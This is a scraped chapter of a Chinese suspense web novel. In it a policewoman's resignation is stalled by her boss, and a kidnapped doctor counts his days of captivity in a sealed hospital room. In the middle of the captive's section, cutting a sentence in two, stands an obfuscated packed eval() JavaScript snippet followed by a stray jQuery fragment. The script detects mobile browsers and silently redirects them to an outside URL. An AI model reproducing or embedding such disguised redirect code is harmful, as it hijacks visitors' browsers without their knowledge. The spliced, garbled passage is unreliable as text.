文趣网 > 都市小说 > 今日难越[悬疑] > 50. 第 50 章
    丁胜男刚拉开抽屉,整个人就愣住了,自己写好的辞职信如今不翼而飞。

    开始翻找,抽屉底部的文件还在,随手塞进去的备用手机也没被人动过,只有那封平平无奇的信被人拿走。

    能干出这种事的人能有几个?丁胜男一抬头就跟嫌疑人撞上了眼神,正观察丁胜男动作的聂涛被这么抓包猛然一惊,一脸若无其事地把目光转到了其他地方。

    这演技也太嫩了,自己走了之后这小子还怎么混啊。

    不过这跟她也没关系,她操这心干嘛。

    丁胜男冷笑一声,走过去拍了两下他的背:“交出来吧,你小子现在还有胆子偷拿我的东西了。”

    聂涛一脸装出来的迷茫:“你在说什么。”

    丁胜男嗤笑一声,也不再多说,开始直接搜起来,书桌上的文件盒、柜子里的四格抽屉、公文包的每个夹层甚至聂涛自己衣服上的口袋。

    眼看着丁胜男的手马上要当着所有人的面伸到自己裤子口袋里,聂涛面红耳赤地往后跳了一步,主动把口袋里布翻出来:“没有!丢了、烧了、泡水了、撕碎了……反正你再怎么找也找不到的!”

    “你小子!”丁胜男用食指敲了他的脑门三下,一下比一下重,把他额头磕出了个红点。

    聂涛也太小瞧了她,丁胜男岂会被一张纸拦住,什么东西都拦不住一颗真正想要做的心。

    丁胜男笑了下,在聂涛还没反应过来的时候就转身朝老程办公室走,人都快到地方了,聂涛才意识到她想要做什么,飞速跟着跑过去。然而还是没来得及,等他闯开刚被丁胜男关上的门时,丁胜男已经把自己的话说完了。

    “老程,我想辞职。”

    “丁姐,你要不再想想。”见丁胜男不为所动,聂涛开始把可怜巴巴的目光投给正慢悠悠喝茶的老程,“程队……”

    然而老程只微微一笑,吹着茶杯上的渺渺热气,不急不缓地给出自己的答案:“可以啊,你辞职后打算干嘛?”

    原本以为的拒绝并没有出现,闷在心里的话这么说出来,丁胜男松了口气,但被他这么一问,心里却没有想象中轻松,反而更多的有点迷茫。

    这种感觉有点像小朋友们拼乐高,别人都是拼父母买好的成品,是小火车还是城堡早有定论,只需要一点耐心就能按图纸施工建造;可她拿着一堆散件盲目拼凑了半天,好不容易拼出把手枪的雏形,却又觉得不喜欢,便把积木全卸了。自己不喜欢的东西是消失了,可她又要拿着这堆鸡零狗碎的东西干什么呢。

    “嗯,我自己另有打算。”当然,丁胜男是不可能承认自己现在心里涌动的情绪叫做迷茫的。

    老程和气地点点头:“行,这行是挺辛苦的,理解。”

    旁边的聂涛张了张嘴,却什么也没说,低下头冲出老程办公室的门,不知道去了哪里。

    “那我也……”丁胜男也准备转身离开,却被老程一句千回百转的“只不过”给拦住了。

    “只不过我们这单位你懂的,体制内嘛,所有的事情都很复杂。你给我这个领导说,我再跟我这边的领导说,一层层向上汇报,再走流程,还要排队盖章签字什么的,所以整个流程可能拖得长一些,你应该能够理解吧。”老程又掏出一个青花瓷的小杯子,给丁胜男倒了一杯,“来,过来坐,喝茶,不要急嘛。你想想你去年得的那个市优秀的奖金不是还没发下来嘛,你现在这么一走,人发也不是,不发也不是,我还得想办法帮你争取争取,这也要时间。”

    好歹在这里待了这么久,这些东西丁胜男也知道。她性子急,最烦的就是这一套,以往都是让聂涛去跑着走流程,如今也没人能代替她做这些事,她再不耐烦也得等着。

    “明白,我理解。要做什么跟我说,我都配合。”丁胜男按照老程的要求坐了下去。

    “你别说你想辞了,我有时候都想辞呢,要不是上有老下有小的,你看这个时间正好诈骗频发,咱们队一大半的人都被调去缅甸电信诈骗专案组了,每个人都忙得要命。”老程一脸苦闷地发牢骚。

    丁胜男一想还真是,开始试图宽慰老程:“所以今年这不是给咱们分了仨新人嘛。”

    “就那仨人,不当拖累就不错了,还指望他们关键时候顶上?”老程嘲弄,“你当年一开始不也是找不着北吗?”

    老程这么一说,丁胜男也想起自己最开始入职时办的头一桩案子来。

    那是个八人团伙作案的连环抢劫案,队里所有人都被派出去围捕,她急于证明自己的能力,跟其中一个劫匪对打了起来,根本没注意到自己后面还跟着个拿着棍子的人,要不是老程用左肩替她挨了一棍,她怕不是头一次出任务就要得脑震荡回去。

    想到这里,丁胜男有点愧疚地看他的左肩:“我上次给你拿的那膏药你用了吗?那可是我朋友从日本带回来的呢,说是坚持用下去,下雨的时候就不疼了。”

    “行了别来这套。”老程又翻了个白眼,“你们少气我点,比啥都强。你的事我都答应了,你这段时间也得给我好好干,端正态度听见了没有,就当是把上个月放的假给我补回来。”

    “行行行。”丁胜男满口答应。直到走出老程办公室的时候她才有点奇怪地摸了摸自己的唇角,什么时候勾上去的。

    还没等回到工位上,丁胜男就被喊着出外勤,因为答应了老程,这半天她干得格外卖力,满头是汗地忙了大半天才有空闲去街边买了块雪糕,这才后知后觉地感觉不对。

    自己怎么又卖力干上了,还起码要干一个月。今天老程要是直接说让她再干一个月再辞职,那她肯定严词拒绝,但被他这么一绕,怎么就稀里糊涂地就答应了。丁胜男想来想去也没想个明白,自己怎么就陷入了老程的迷魂阵,只能归结于这人就是个蜘蛛精转世,一不小心就把她捞入网里了。

    但既然都答应了,她也不好再反悔。

    “……算了,就这么混日子吧。”丁胜男咬下最后一口。

    反正她也不差这一点时间。

    *

    你见过待宰的羊吗?

    它被捆住四肢,躺在地上,用没有生机的昏黄眼珠看着陌生的天花板,一动不动,也一言不发,它早已失去了冲撞的力气,又或者它有力气但不想动作。

    在那个时刻,就算是未开智的动物也能窥见自己的命运——不管再怎么挣扎,即将到来的都将是死亡,或早或晚。

    咚。咚。咚。

    这是屠夫剁开自己同类躯干的声音,也是死亡的脚步声,离它很近。

    躺在地上的易峥醒了,他看着昏暗的天花板,觉得自己就像是一头待宰的羊。

    被捆住的双手双脚都有些发麻,不过就算不被困住,这些日子来每天只能吃一顿饭的他也没有什么挣扎的力气。看,光是坐起来都要竭尽全力。

    三十六次心跳,今天站起来的速度又比前一天慢了,这证明他的体力又弱了,自己还能在这里支持多久易峥自己也不知道。他缓缓地走向不远处的墙角,用指甲又划了一道横线,在与之相邻的位置,已经密密麻麻地划了无数个正字。

    又过了一天,从自己来到这个地方已经过了103天,这时间比他以为的要久。或许还要更久,毕竟易峥无法判断自己到底睡了几天,只能从靠着天花板的小窗户里透出的天光判断到底外面是白天还是晚上,过了会,他苦涩地想,或许那不叫睡眠,可能更接近于昏厥。

    在这个房间里,除了闭上双眼,他又能干什么事情呢。没有电也没有人,甚至绝大部分时间连声音也没有,但他还是判断出了自己是在医院,靠着房间里仅有的陈设——一张病床;靠着隐约但难以消散的消毒水味;靠着墙上的那根管道。

    这是房间里唯一一个会发生变化的东西,每天都会有一个圆筒形状的东西从这个方形铁皮里沿着透明管道滑出,里面装着仅仅能够他维持生命体征的食物。

    这的确不是什么常见的东西,但对于易峥来说,认出它很容易,因为在他的工作里每天都会见到——这是气动物流传输系统,是在大型医院里用来运输紧急药

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734213|206490||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    物的设备。

    易峥闭上双眼,黑暗的眼前突然浮现出蒋今越的脸,那张向来平静的脸上如今焦急又痛苦,知道自己丈夫失踪后的她应该就是这副表情吧。易峥想,她会第一时间奔走着报警,发动自己所有的力量来找他,易峥对此有信心。

    只是为什么,过了这么久,自己还是没被发现呢。

    易峥很焦虑,这焦虑不光是因为自己的境况,还有蒋今越的境状,在他被关进这里之前,那个十年前的魔鬼出狱后就缠绕上了他们,无所不用其极地报复他们,恐吓和威胁接踵而至,可如今他这一失踪,没有他挡在前面,蒋今越又要怎么独自面对他的围猎。

    这么久自己还没被找到,一定有什么他不知道的事情发生了。

    时间拖得越久,易峥越是清楚这一点,只不过,体力越来越弱的他还能在这里坚持多久?他真的能等到蒋今越找到他的那一天吗?易峥感受着虚弱的躯体,长长地叹了口气。

    他没有多少时间了。

    在易峥按照最原始的方式记录好今天的时间后,气动装置响了一下,对方送来了最新的食物——两只馒头,一块真空包装好的牛肉,按照以往的标准,这可以算是一场能够让他享受三天的盛宴了。易峥艰难地拿出食物,然后慢腾腾地把空了的圆柱形外壳塞到另一个管道口。

    他并没有急着吃饭,这么长时间,他早就习惯了饥肠辘辘的感觉。他猜,对方大概率也是医生,至少很了解人体知识,这判断不光是因为他目前在医院,也是因为他很了解维持人体最基本的生存到底需要多少食物,让他既不能吃饱,又不能饿死。

    所以他到底是谁?

    易峥开始思考,在这个地方,这是他唯一能做的事情。

    他最后的记忆是自己下班打车回去,他运气不错,那辆车还算干净,车里弥漫着一股熟悉的水果味清香,易峥忙了一天,格外劳累,再加上下班的路又格外的堵,他坐在副驾驶上,在一会停一会走的车里昏昏欲睡,直到注射器扎入他的左臂才猛然惊醒。

    “你是谁!这是什么!!”在他反应之前,注射器里的液体已经顺利进入了他的血管。他这才意识到这车里的味道为何如此熟悉。这是七氟烷的味道,它作为手术前的吸入型麻醉剂,直接挥发在空气里虽然不至于让人直接昏迷,但足够让他昏昏欲睡、反应迟钝,连被注射都不知道。

    “睡吧。”带着口罩的司机语气平静地收起注射器,像是做手术的医生安抚躺在床上的病人,“睡醒了就好了。”

    那个瞬间,注射进入身体的液体生效,易峥失去知觉。

    再次醒来的时候,他就被捆上双手双脚,原本穿在身上的衣服也不翼而飞,变成了蓝白相间的病号服。来到了这个仅仅能放下一张床的狭小房间。从床单上和地上的灰尘可以看出,这个地方已经被空置了很久,除了病床空无一物,幸好隔壁的小隔间就是卫生间,还给他留有了一丝尊严。后来,易峥猜测,这可能是医院分给某个人的休息室,亦或是单人间病房。

    看墙面,这栋建筑还是新的,看起来只是这个房间被搁置了,但整栋医院还在被人使用,可不知为何,房间的隔音很好,门外从未响起脚步声,偶尔他也会听见墙外有交谈的声音,但从没人听见他的呼喊。可这依旧给了易峥一份没由来的希望,运气好的话,万一哪天他就被人发现了。

    但担忧比运气来的更早,他在这里待的太久了,可对方却一直没有出现,这期间全倚靠着气动装置丢进房间里的食物为生,可如果有一天,食物消失了呢。

    易峥可以确定,他从来没见过那人。一开始,他下意识地认为是甄远喊来的人,像之前的威胁一样,这是新一轮的报复和捉弄。只不过,伴随着时间过去,他推翻了自己的想法。甄远并不害怕被他发现,也不具备医疗知识,没办法找到这么个地方把他关进来,更不可能每隔一段时间就跑到医院里来给他投喂食物,他也找不来这么个人当团伙。

    所以,绑架他的人究竟是谁?他为什么要把自己关在这里?